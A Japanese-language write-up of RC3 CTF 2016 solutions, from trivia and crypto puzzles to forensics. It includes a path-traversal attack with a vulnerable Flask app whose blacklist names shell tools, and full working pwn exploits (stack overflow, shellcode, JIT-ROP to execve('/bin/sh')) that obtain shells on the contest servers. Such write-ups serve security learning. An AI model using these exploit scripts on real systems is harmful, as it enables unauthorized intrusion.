RC3 CTF 2016に参加。2940ptで54位。
What's your virus? (Trivia 20)
ILOVEYOU
Horse from Tinbucktu (Trivia 30)
Zeus
Love Bomb (Trivia 40)
Stuxnet
Infringing memes (Trivia 50)
PIPA
Logmein (Reversing 100)
よくあるタイプのcrackme。angrで解いた。
import angr p = angr.Project('./logmein', load_options={'auto_load_libs': False}) s = p.factory.entry_state() initial_path = p.factory.path(s) pg = p.factory.path_group(initial_path) e = pg.explore(find=0x4007f0, avoid=0x4007c0) if len(e.found) > 0: s = e.found[0].state print "%r" % s.posix.dumps(0)
# python solve.py 'RC3-2016-XORISGUD\x00\x80\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01' # ./logmein Welcome to the RC3 secure password guesser. To continue, you must enter the correct password. Enter your guess: RC3-2016-XORISGUD You entered the correct password! Great job!
Who's a good boy? (Web 100)
トップページで読み込まれているCSSの最後にflagがある。
/*here's a flag :)*/ flag:RC3-2016-CanineSS
Bork Bork (Web 300)
次のようなリクエストを投げるとcatコマンドのエラー出力が出てくる。
$ curl -v -d 'bork=' https://ctf.rc3.club:3100/bork (snip) < HTTP/1.0 200 OK < Content-Type: text/html; charset=utf-8 < Content-Length: 367 < Server: Werkzeug/0.11.11 Python/2.7.12 < Date: Sun, 20 Nov 2016 16:32:48 GMT < <!DOCTYPE html> <html> <head> <link rel="stylesheet" type="text/css" href="/static/bork.css"> <link rel="shortcut icon" href="/static/favicon.ico"> </head> <body> <h1>HERE'S YOUR BORK!!!!</h1> <iframe width="854" height="480" src="cat: borks/: Is a directory?autoplay=1&loop=1" frameborder="0"></iframe> </body> * STATE: PERFORM => DONE handle 0x6000579b0; line 1955 (connection #0) * multi_done * Closing connection 0 * The cache now contains 0 members * TLSv1.2 (OUT), TLS alert, Client hello (1): </html>
ServerヘッダからPythonのHTTPサーバWerkzeugが動いていることがわかるので、スクリプト名を推測してソースコードを表示させてみる。
$ curl -d 'bork=../bork.py' https://ctf.rc3.club:3100/bork <!DOCTYPE html> <html> <head> <link rel="stylesheet" type="text/css" href="/static/bork.css"> <link rel="shortcut icon" href="/static/favicon.ico"> </head> <body> <h1>HERE'S YOUR BORK!!!!</h1> <iframe width="854" height="480" src="from flask import Flask, render_template, request, send_from_directory import os import commands import subprocess as sub app = Flask(__name__) #Select your bork @app.route('/', methods=['GET']) def index(): return render_template("index.html") @app.route('/favicon.ico', methods=['GET']) def favicon(): return send_from_directory(os.path.join(app.root_path, 'static'), 'favicon.ico') @app.route('/bork', methods=['POST']) def bork(): filename = request.form["bork"] print '"' + filename + '"' #had to remove / and .. because without that you can't get ../bork.txt badchars = [';', '>', '<', '|', '$', '`', '(', ')', "mv", "rm", "cp", "python", "perl", "ruby", "bash", "zsh", '~', '*', '-'] for bad in badchars: if bad in filename: print "found bad character" return render_template("sad.html") bork = commands.getstatusoutput('cat borks/' + filename) #so subprocess errors for some reason? literally ran the same script which is in /tmp/cmd.py. #that script works, but when run in flask it doesn't work? not sure why. #next time just use perl or php. they have great direct command line access which makes for #super easy command injection #cmdList = ['bin/sh', '-c', 'cat borks/' + filename] #p = sub.Popen(cmdList, stdout=sub.PIPE, stderr=sub.PIPE) #bork, errors = p.communicate() #should probably check errors #return render_template("bork.html", bork=bork) return render_template("bork.html", bork=bork[1]) if __name__ == "__main__": try: app.run(host='0.0.0.0', port='9000') except Exception as e: print "Exception:" print e?autoplay=1&loop=1" frameborder="0"></iframe> </body> </html>
コメントを参考にbork.txtを表示させてみるとflagが得られた。
$ curl -d 'bork=../bork.txt' https://ctf.rc3.club:3100/bork <!DOCTYPE html> <html> <head> <link rel="stylesheet" type="text/css" href="/static/bork.css"> <link rel="shortcut icon" href="/static/favicon.ico"> </head> <body> <h1>HERE'S YOUR BORK!!!!</h1> <iframe width="854" height="480" src="RC3-2016-L057d0g3?autoplay=1&loop=1" frameborder="0"></iframe> </body> </html>
Salad (Crypto 100)
シーザー暗号。
import string c = '7sj-ighm-742q3w4t' chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' for i in xrange(len(chars)): table = string.maketrans(chars, chars[i:] + chars[:i]) print c.translate(table)
$ python test.py 7sj-ighm-742q3w4t 8tk-jhin-853r4x5u 9ul-kijo-964s5y6v avm-ljkp-a75t6z7w (snip) Rc3-2016-ROMaNgOd (snip)
Calculus (Crypto 200)
微積分の書かれたGoogle Documentが与えられる。計算結果とHintから推測した。
200: There are no symbols in the flag
a n^2 t^3 i^4 2*d^5 e^6 r^7+r^5+r^4+r+1 v^8+v^7+v^4+v^2+9*v RC3-2016-antiderv
Cats (Crypto 300)
gif画像の各フレームで表示されている猫の数を数え、アルファベットに置き換えてみると次のようになる。
nums = [14, 9, 1, 20, 23, 15, 5, 13] chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' s = '' for n in nums: s += chars[n-1] print s
$ python test.py NIATWOEM
先頭がMEOWとなると推測し、逆順に並び換えたものを送ると通った。
RC3-2016-MEOWTAIN
My Lil Droid (Forensics 100)
apkファイルが与えられる。build-data.properties
にbase64っぽい文字列があり、デコードするとflagが得られる。
$ unzip youtube.apk $ cat build-data.properties build.target=blaze-out/intel-linux-android-4.8-libcxx-x86-opt/bin/java/com/google/android/gmscore/integ/client/1p_monolithic_raw_pre_munge_deploy.jar build.citc.snapshot=-1 build.verifiable=1 build.client=build-secure-info\:(SrcFS) main.class= build.label=gmscore_v3_RC21_SDK build.tool=Blaze, release blaze-2016.04.14-4 (mainline @119748905) build.client_mint_status=1 build.build_id=950d1ddb-9c1f-4bb8-b5b6-f3752bb22c0c build.gplatform=intel-linux-android-4.8-libcxx-x86 build.depot.path=//depot/branches/gmscore_apks_release_branch/120490875.2/google3 build.versionmap=map 120490875 default { // } import buildenv/9410; build.time=Tue May 31 15\:02\:21 2016 (1464732141) build.location=social-builder-pool-gmscore@voz22\:/google/src/files/123676479/depot/branches/gmscore_apks_release_branch/120490875.2/READONLY build.timestamp.as.int=1464732141 build.changelist.as.int=123676479 build.timestamp=1464732141 build.changelist=123676479 UkMz-2016-R09URU0yMQ== $ echo UkMz | base64 -d RC3 $ echo R09URU0yMQ== | base64 -d GOTEM21
RC3-2016-GOTEM21
Graphic Design (Forensics 200)
3DデータのOBJファイルが与えられる。コメントを見ると何かとステゴザウルスの二つの物体があるようなので、ステゴザウルス部分を取り除いてみる。
$ head forensics200.obj # Blender v2.78 (sub 0) OBJ File: '' # www.blender.org mtllib forensics200.mtl o def_not_the_flag_Text.002 v 2.131841 14.053224 -7.976235 v 1.879015 13.982867 -7.720026 v 1.927970 13.935733 -7.684662 v 2.078477 13.977615 -7.837183 v 2.147170 13.716490 -7.514853 v 2.407256 13.788866 -7.778421 $ grep '^o' forensics200.obj o def_not_the_flag_Text.002 o stegosaurus $ awk 'NR==1,/o stegosaurus/{print}' forensics200.obj >a.obj
これをMesh Viewerで表示してみると、flagが得られた。
RC3-2016-St3GG3rz
Breaking News (Forensics 300)
20個のzipファイルが与えられる。hexdumpを見るとところどころにbase64っぽい文字列がまぎれており、それぞれデコードして繋げることでflagが得られる。
$ \ls -1 -v Chapter0.zip Chapter1.zip Chapter2.zip Chapter3.zip Chapter4.zip Chapter5.zip Chapter6.zip Chapter7.zip Chapter8.zip Chapter9.zip Chapter10.zip Chapter11.zip Chapter12.zip Chapter13.zip Chapter14.zip Chapter15.zip Chapter16.zip Chapter17.zip Chapter18.zip Chapter19.zip $ \ls -1 -v | xargs -n1 strings | grep -v '.txt' GINg L+^= <U<i%[ GINg D{N1 !Rk\ ^hE3n GIKZo=f GIKZo=f UkMK \DjX pZzU NR!R9 K4r>& K)VH,JU( My0yMAo= MTYtRFUK ;X c `s; (yCc _/_PK Wow, these Queebloid folks do not fool around. H,Q/V( ,Q(NM 0gZ+ ?6(U Y*mO .Xt] 3oc$M8e S1lGCg== 2VD% 6[in ,QH,(HM,*V( QkxTCg== *Cut to black* $ echo UkMK | base64 -d RC $ echo My0yMAo= | base64 -d 3-20 $ echo MTYtRFUK | base64 -d 16-DU $ echo S1lGCg== | base64 -d KYF $ echo QkxTCg== | base64 -d BLS
RC3-2016-DUKYFBLS
Dirty Birdy (Forensics 400)
ディスクイメージが与えられる。FTK Imagerで開くとsecretfilesディレクトリがあるので、エクスポートする。
gitリポジトリの状態を見るとPGP秘密鍵が削除されていることがわかるので、git checkout
で復元する。
$ ls document.txt* README.md* Workbook1.xlsx.gpg* $ git status error: unable to open object pack directory: .git/objects/pack: Not a directory On branch master Your branch is up-to-date with 'origin/master'. Changes not staged for commit: (use "git add/rm <file>..." to update what will be committed) (use "git checkout -- <file>..." to discard changes in working directory) deleted: private.key Untracked files: (use "git add <file>..." to include in what will be committed) README.md Workbook1.xlsx.gpg document.txt no changes added to commit (use "git add" and/or "git commit -a") $ git checkout private.key error: unable to open object pack directory: .git/objects/pack: Not a directory $ cat private.key -----BEGIN PGP PRIVATE KEY BLOCK----- Version: GnuPG v1 (snip) -----END PGP PRIVATE KEY BLOCK----- $ file Workbook1.xlsx.gpg Workbook1.xlsx.gpg: PGP RSA encrypted session key - keyid: 1246B951 2DB12CE2 RSA (Encrypt or Sign) 1024b .
復元したPGP秘密鍵でExcelファイルを復号すると、パスワード付きExcelファイルが得られる。
パスワードのような文字列がdocument.txtにあるが、これにはスペルミスがあり、実際にはpassword123
で開くことができた。
$ gpg --import private.key gpg: key 8FFDF6D6: secret key imported gpg: /home/user/.gnupg/trustdb.gpg: trustdb created gpg: key 8FFDF6D6: public key "ThugG (lolz) <nope@gmail.com>" imported gpg: Total number processed: 1 gpg: imported: 1 (RSA: 1) gpg: secret keys read: 1 gpg: secret keys imported: 1 $ gpg --output Workbook1.xlsx --decrypt Workbook1.xlsx.gpg gpg: encrypted with 1024-bit RSA key, ID E22CB12D, created 2016-11-18 "ThugG (lolz) <nope@gmail.com>" $ cat document.txt passowrd123
2枚目のシートに白文字でflagが書かれている。
RC3-2016-SNEAKY21
Fencepost (Pwn 150)
IDA Proで開いてアセンブリコードを読むと、[rbp+var_4]
を0xFFFFFFFFで初期化した後、0と比較していることがわかる。
また、scanf関数の箇所にスタックバッファオーバーフロー脆弱性がある。
.text:0000000000400823 ; =============== S U B R O U T I N E ======================================= .text:0000000000400823 .text:0000000000400823 ; Attributes: bp-based frame .text:0000000000400823 .text:0000000000400823 sub_400823 proc near ; DATA XREF: main+3Ao .text:0000000000400823 .text:0000000000400823 var_54 = dword ptr -54h .text:0000000000400823 s2 = byte ptr -50h .text:0000000000400823 var_48 = qword ptr -48h .text:0000000000400823 var_40 = dword ptr -40h .text:0000000000400823 var_3C = word ptr -3Ch .text:0000000000400823 s = byte ptr -30h .text:0000000000400823 var_4 = dword ptr -4 .text:0000000000400823 .text:0000000000400823 push rbp .text:0000000000400824 mov rbp, rsp .text:0000000000400827 sub rsp, 60h .text:000000000040082B mov [rbp+var_54], edi .text:000000000040082E mov [rbp+var_4], 0FFFFFFFFh .text:0000000000400835 mov rax, '-eht-ton' .text:000000000040083F mov qword ptr [rbp+s2], rax .text:0000000000400843 mov rax, 'sap-laer' .text:000000000040084D mov [rbp+var_48], rax .text:0000000000400851 mov [rbp+var_40], 'rows' .text:0000000000400858 mov [rbp+var_3C], 'd' .text:000000000040085E lea rdi, aWelcomeToTheRc ; "=== Welcome to the RC3 Secure CTF Login"... .text:0000000000400865 call _puts .text:000000000040086A lea rdi, aPleaseEnterThe ; "=== Please enter the correct password b"... .text:0000000000400871 call _puts .text:0000000000400876 .text:0000000000400876 loc_400876: ; CODE XREF: sub_400823+ACj .text:0000000000400876 lea rdi, format ; "Password: " .text:000000000040087D mov eax, 0 .text:0000000000400882 call _printf .text:0000000000400887 lea rax, [rbp+s] .text:000000000040088B mov rsi, rax .text:000000000040088E lea rdi, aS ; "%s" .text:0000000000400895 mov eax, 0 .text:000000000040089A call ___isoc99_scanf .text:000000000040089F lea rax, [rbp+s] .text:00000000004008A3 mov rdi, rax ; s .text:00000000004008A6 call _strlen .text:00000000004008AB add rax, 1 .text:00000000004008AF mov [rbp+rax+s], 0 .text:00000000004008B4 cmp [rbp+var_4], 0 .text:00000000004008B8 jz short loc_4008D1 .text:00000000004008BA lea rdx, [rbp+s2] .text:00000000004008BE lea rax, [rbp+s] .text:00000000004008C2 mov rsi, rdx ; s2 .text:00000000004008C5 mov rdi, rax ; s1 .text:00000000004008C8 call _strcmp .text:00000000004008CD test eax, eax .text:00000000004008CF jnz short loc_400876 .text:00000000004008D1 .text:00000000004008D1 loc_4008D1: ; CODE XREF: sub_400823+95j .text:00000000004008D1 cmp [rbp+var_4], 0 .text:00000000004008D5 jnz short locret_4008E1 .text:00000000004008D7 mov eax, 0 .text:00000000004008DC call sub_400810 .text:00000000004008E1 .text:00000000004008E1 locret_4008E1: ; CODE XREF: sub_400823+B2j .text:00000000004008E1 leave .text:00000000004008E2 retn .text:00000000004008E2 sub_400823 endp
スタックバッファオーバーフローを用いて[rbp+var_4]
を0で上書きすると、flagが得られた。
$ perl -e 'print "\x00"x48 . "\n"' | nc 52.71.70.98 2091 === Welcome to the RC3 Secure CTF Login === === Please enter the correct password below === Password: RC3-2016-STACKPWN
IMS Easy (Pwn 150)
NX無効の32 bit ELF実行ファイルが与えられる。
$ file IMS-easy IMS-easy: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=9da37e8640249fe6a37b5020e1ac6c5beecfe7a7, not stripped $ readelf -a IMS-easy (snip) Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align LOAD 0x000000 0x08048000 0x08048000 0xa6150 0xa6150 R E 0x1000 LOAD 0x0a6f58 0x080eff58 0x080eff58 0x01028 0x023ac RW 0x1000 NOTE 0x0000f4 0x080480f4 0x080480f4 0x00044 0x00044 R 0x4 TLS 0x0a6f58 0x080eff58 0x080eff58 0x00010 0x00028 R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10 GNU_RELRO 0x0a6f58 0x080eff58 0x080eff58 0x000a8 0x000a8 R 0x1 (snip)
アセンブリコードを読むと、インデックスの範囲チェックがされておらず、スタック上の任意のデータを読み書きできる脆弱性があることがわかる。 そこで、saved ebpを読み出し、リターンアドレスをスタック上に配置したシェルコードの先頭に書き換えるコードを書く。
from minipwn import * import re def add_record(s, _id, code): recvuntil(s, 'Choose: ') sendline(s, '1') recvuntil(s, 'Enter product ID: ') sendline(s, str(_id)) recvuntil(s, 'Enter product code: ') sendline(s, code) recvuntil(s, 'IMS\n') def delete_record(s, index): recvuntil(s, 'Choose: ') sendline(s, '2') recvuntil(s, 'Enter index to delete: ') sendline(s, str(index)) recvuntil(s, 'IMS\n') def view_record(s, index): recvuntil(s, 'Choose: ') sendline(s, '3') recvuntil(s, 'Enter the index of the product you wish to view: ') sendline(s, str(index)) data = recvuntil(s, 'There ')[:-6] recvuntil(s, 'IMS\n') return data def do_exit(s): recvuntil(s, 'Choose: ') sendline(s, '4') #s = connect_process(['./IMS-easy']) s = socket.create_connection(('ims.ctf.rc3.club', 7777)) # leak saved ebp data = view_record(s, 5) m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data) if m: data = m.group(2) saved_ebp = u32(data[:4]) print "[+] saved_ebp = %x" % saved_ebp addr_buf = saved_ebp - 0xe0 print "[+] addr_buf = %x" % addr_buf # put shellcode on the stack sc = shellcode['x86'] print "[+] len(shellcode) = %d" % len(sc) add_record(s, u32(sc[8:12]), sc[:8]) add_record(s, u32(sc[20:].ljust(4)), sc[12:20]) add_record(s, 0, 'AAAABBBB') add_record(s, 0, 'AAAABBBB') add_record(s, 0, 'AAAABBBB') add_record(s, 0, 'AAAABBBB') # overwrite eip add_record(s, addr_buf, 'AAAABBBB') do_exit(s) interact(s)
起動したシェルから問題文に与えられたファイルを読み出すとflagが得られる。
$ python test.py [+] saved_ebp = ffba30cc [+] addr_buf = ffba2fec [+] len(shellcode) = 23 id uid=1002(IMS-easy) gid=1002(IMS-easy) groups=1002(IMS-easy) cat /home/IMS-easy/flag.txt RC3-2016-REC0RDZ-G0T-R3KT
IMS Hard (Pwn 400)
上の問題と同じ実行ファイルだが、NXとStack canaryが有効になっている。
$ file IMS-hard IMS-hard: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=bf20997cf9884ed329fc6d3bf91114c79b919868, not stripped $ readelf -a IMS-hard (snip) Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4 INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1 [Requesting program interpreter: /lib/ld-linux.so.2] LOAD 0x000000 0x08048000 0x08048000 0x00e74 0x00e74 R E 0x1000 LOAD 0x000eb0 0x08049eb0 0x08049eb0 0x00158 0x0019c RW 0x1000 DYNAMIC 0x000ebc 0x08049ebc 0x08049ebc 0x000f8 0x000f8 RW 0x4 NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4 GNU_EH_FRAME 0x000d3c 0x08048d3c 0x08048d3c 0x0003c 0x0003c R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10 GNU_RELRO 0x000eb0 0x08049eb0 0x08049eb0 0x00150 0x00150 R 0x1 (snip) Relocation section '.rel.plt' at offset 0x438 contains 15 entries: Offset Info Type Sym.Value Sym. Name 08049fc0 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0 08049fc4 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0 08049fc8 00000307 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0 08049fcc 00000407 R_386_JUMP_SLOT 00000000 memcpy@GLIBC_2.0 08049fd0 00000507 R_386_JUMP_SLOT 00000000 fgets@GLIBC_2.0 08049fd4 00000607 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4 08049fd8 00000707 R_386_JUMP_SLOT 00000000 fwrite@GLIBC_2.0 08049fdc 00000807 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0 08049fe0 00000907 R_386_JUMP_SLOT 00000000 __gmon_start__ 08049fe4 00000a07 R_386_JUMP_SLOT 00000000 strtoul@GLIBC_2.0 08049fe8 00000b07 R_386_JUMP_SLOT 00000000 strchr@GLIBC_2.0 08049fec 00000c07 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0 08049ff0 00000d07 R_386_JUMP_SLOT 00000000 memset@GLIBC_2.0 08049ff4 00000e07 R_386_JUMP_SLOT 00000000 strncpy@GLIBC_2.0 08049ff8 00000f07 R_386_JUMP_SLOT 00000000 strtol@GLIBC_2.0 (snip)
また、Hintから独自にコンパイルしたlibcが使われていることがわかる。
400: There's a custom libc that is making your life harder :(
そこで、JIT-ROP(Dynamic ROP)を行うことにする。 スタックからstdoutのアドレス、stack canary、main関数からのリターンアドレス(__libc_start_main関数内を指すアドレス)を読み出し、fwrite関数でリターンアドレス以降のメモリを読み出すコードを書くと次のようになる。
from minipwn import * import re def add_record(s, _id, code): recvuntil(s, 'Choose: ') sendline(s, '1') recvuntil(s, 'Enter product ID: ') sendline(s, str(_id)) recvuntil(s, 'Enter product code: ') sendline(s, code) recvuntil(s, 'IMS\n') def delete_record(s, index): recvuntil(s, 'Choose: ') sendline(s, '2') recvuntil(s, 'Enter index to delete: ') sendline(s, str(index)) recvuntil(s, 'IMS\n') def view_record(s, index): recvuntil(s, 'Choose: ') sendline(s, '3') recvuntil(s, 'Enter the index of the product you wish to view: ') sendline(s, str(index)) data = recvuntil(s, 'There ')[:-6] recvuntil(s, 'IMS\n') return data def do_exit(s): recvuntil(s, 'Choose: ') sendline(s, '4') #s = connect_process(['./IMS-hard']) s = socket.create_connection(('ims.ctf.rc3.club', 8888)) # leak stdout data = view_record(s, -13) m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data) if m: data = m.group(2) libc_stdout = u32(data[4:8]) print "[+] libc_stdout = %x" % libc_stdout # leak canary data = view_record(s, 5) m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data) if m: canary = int(m.group(1)) print "[+] canary = %x" % canary # leak libc address data = view_record(s, 7) m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data) if m: saved_ebp = int(m.group(1)) % 0x100000000 print "[+] saved_ebp = %x" % saved_ebp data = m.group(2) addr_libc = u32(data[:4]) print "[+] addr_libc = %x" % addr_libc # put canary on stack add_record(s, 0x41414141, 'BBBBCCCC') add_record(s, 0x41414141, 'BBBBCCCC') add_record(s, 0x41414141, 'BBBBCCCC') add_record(s, 0x41414141, 'BBBBCCCC') add_record(s, 0x41414141, 'BBBBCCCC') add_record(s, canary, 'BBBBCCCC') add_record(s, 0x41414141, 'BBBBCCCC') # overwrite eip plt_fwrite = 0x8048550 buf = p32(plt_fwrite) + 'AAAA' + p32(addr_libc) + p32(0x01010101) + p32(0x1) + p32(libc_stdout) add_record(s, u32(buf[8:12]), buf[:8]) add_record(s, u32(buf[20:24]), buf[12:20]) do_exit(s) print '[+] dump libc memory' f = open('dump.bin', 'wb') while True: data = s.recv(8192) if not data: break f.write(data) f.close() interact(s)
$ python test.py [+] libc_stdout = f775bac0 [+] canary = -4bdca00 [+] saved_ebp = ff8099d4 [+] addr_libc = f75cdad3 [+] dump libc memory *** Connection closed by remote host *** $ ls -al dump.bin -rw-r--r-- 1 user user 1639091 Nov 20 21:33 dump.bin
次に、読み出したメモリからexecve("/bin/sh", NULL, NULL)
を呼ぶために必要なgadgetのオフセットを探し、これを用いてROPを行うコードを書く。
from minipwn import * import re def add_record(s, _id, code): recvuntil(s, 'Choose: ') sendline(s, '1') recvuntil(s, 'Enter product ID: ') sendline(s, str(_id)) recvuntil(s, 'Enter product code: ') sendline(s, code) recvuntil(s, 'IMS\n') def delete_record(s, index): recvuntil(s, 'Choose: ') sendline(s, '2') recvuntil(s, 'Enter index to delete: ') sendline(s, str(index)) recvuntil(s, 'IMS\n') def view_record(s, index): recvuntil(s, 'Choose: ') sendline(s, '3') recvuntil(s, 'Enter the index of the product you wish to view: ') sendline(s, str(index)) data = recvuntil(s, 'There ')[:-6] recvuntil(s, 'IMS\n') return data def do_exit(s): recvuntil(s, 'Choose: ') sendline(s, '4') #s = connect_process(['./IMS-hard']) s = socket.create_connection(('ims.ctf.rc3.club', 8888)) # leak canary data = view_record(s, 5) m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data) if m: canary = int(m.group(1)) print "[+] canary = %x" % canary # leak libc address data = view_record(s, 7) m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data) if m: saved_ebp = int(m.group(1)) % 0x100000000 print "[+] saved_ebp = %x" % saved_ebp data = m.group(2) addr_libc = u32(data[:4]) print "[+] addr_libc = %x" % addr_libc # put canary on stack add_record(s, 0x41414141, 'BBBBCCCC') add_record(s, 0x41414141, 'BBBBCCCC') add_record(s, 0x41414141, 'BBBBCCCC') add_record(s, 0x41414141, 'BBBBCCCC') add_record(s, 0x41414141, 'BBBBCCCC') add_record(s, canary, 'BBBBCCCC') add_record(s, 0x41414141, 'BBBBCCCC') # overwrite eip dump = open('dump.bin').read() addr_ret = 0x80484d2 offset_binsh = dump.index('/bin/sh\x00') offset_pop_eax = dump.index('\x58\xc3') offset_pop_ebx = dump.index('\x5b\xc3') offset_pop_ecx_edx = dump.index('\x59\x5a\xc3') offset_int80 = dump.index('\xcd\x80') print "[+] offset_binsh = %x" % offset_binsh print "[+] offset_pop_eax = %x" % offset_pop_eax print "[+] offset_pop_ebx = %x" % offset_pop_ebx print "[+] offset_pop_ecx_edx = %x" % offset_pop_ecx_edx print "[+] offset_int80 = %x" % offset_int80 buf = p32(addr_libc + offset_pop_eax) + p32(11) buf += p32(addr_libc + offset_pop_ebx) + p32(addr_libc + offset_binsh) buf += p32(addr_ret) buf += p32(addr_libc + offset_pop_ecx_edx) + p32(0) + p32(0) buf += p32(addr_libc + offset_int80) add_record(s, u32(buf[8:12]), buf[:8]) add_record(s, u32(buf[20:24]), buf[12:20]) add_record(s, u32(buf[32:36]), buf[24:32]) do_exit(s) print '[+] got a shell' interact(s)
起動したシェルから問題文に与えられたファイルを読み出すとflagが得られる。
$ python test2.py [+] canary = -15d07300 [+] saved_ebp = ff84df44 [+] addr_libc = f757ead3 [+] offset_binsh = 143fb9 [+] offset_pop_eax = ab55 [+] offset_pop_ebx = 10d [+] offset_pop_ecx_edx = 14748 [+] offset_int80 = 14a12 [+] got a shell id uid=1001(IMS-hard) gid=1001(IMS-hard) groups=1001(IMS-hard) cat /home/IMS-hard/flag.txt RC3-2016-SAVAGE-1337HAX-BRO
所感
他に解きたかった問題は以下。
- Bridge of Cyber (Misc 200)
- "Just joking," Joker joked! (Web 200)
- Some Pang (Forensics 50)
- FLE (Reversing 200)
- GoReverseMe (Reversing 250)